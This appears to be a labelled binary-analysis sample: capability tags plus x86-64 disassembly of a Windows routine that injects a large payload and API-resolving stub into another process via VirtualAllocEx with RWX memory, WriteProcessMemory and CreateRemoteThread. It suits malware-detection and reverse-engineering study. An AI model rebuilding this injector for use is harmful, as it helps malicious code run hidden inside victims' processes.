Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rdi
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r8d, ecx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x1400010bc
lea rcx, [0x1400032d0]
call fcn.140001010
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400013b0
add rsp, 0x60
pop rdi
ret
mov qword [rsp + 0x78], rbx
xor edx, edx
mov qword [rsp + 0x80], rbp
mov r9d, 0x1000
mov qword [rsp + 0x88], rsi
mov r8d, 0x54600
mov rcx, rdi
mov qword [rsp + 0x50], r15
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov rcx, rdi
mov rbx, rax
lea r8d, [rdx + 0x6e]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x1f9
mov rcx, rdi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
movsxd rcx, dword [0x1400052bc]
lea r15, [0x140005280]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov rsi, rax
mov r8d, dword [rcx + r15 + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rbp, rbp
je 0x1400012dc
test rsi, rsi
je 0x1400012dc
test rbx, rbx
je 0x1400012dc
test rax, rax
je 0x1400012dc
mov qword [0x140059889], rax
mov r9d, 0x54600
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8, r15
mov qword [0x140059898], rax
mov rdx, rbx
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
mov qword [0x1400598a7], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [0x1400598b6], rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1400598c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x1400598ca], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x58], r14
xor r14d, r14d
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], r14
mov qword [0x1400598d4], rbx
mov qword [0x1400598de], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rsp + 0x40]
mov rdx, rbp
lea r9d, [r14 + 0x6e]
mov qword [rsp + 0x20], rax
lea r8, [0x140059880]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rsp + 0x40]
mov r9d, 0x1f9
lea r8, [0x140005080]
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001297
lea rcx, [0x1400032f0]
call fcn.140001010
mov r14, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x88]
mov rbp, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x78]
mov r15, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400013b0
add rsp, 0x60
pop rdi
ret
mov qword [rsp + 0x30], r14
mov r9, rbp
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001265
lea rcx, [0x1400032e0]
call fcn.140001010
jmp 0x14000126a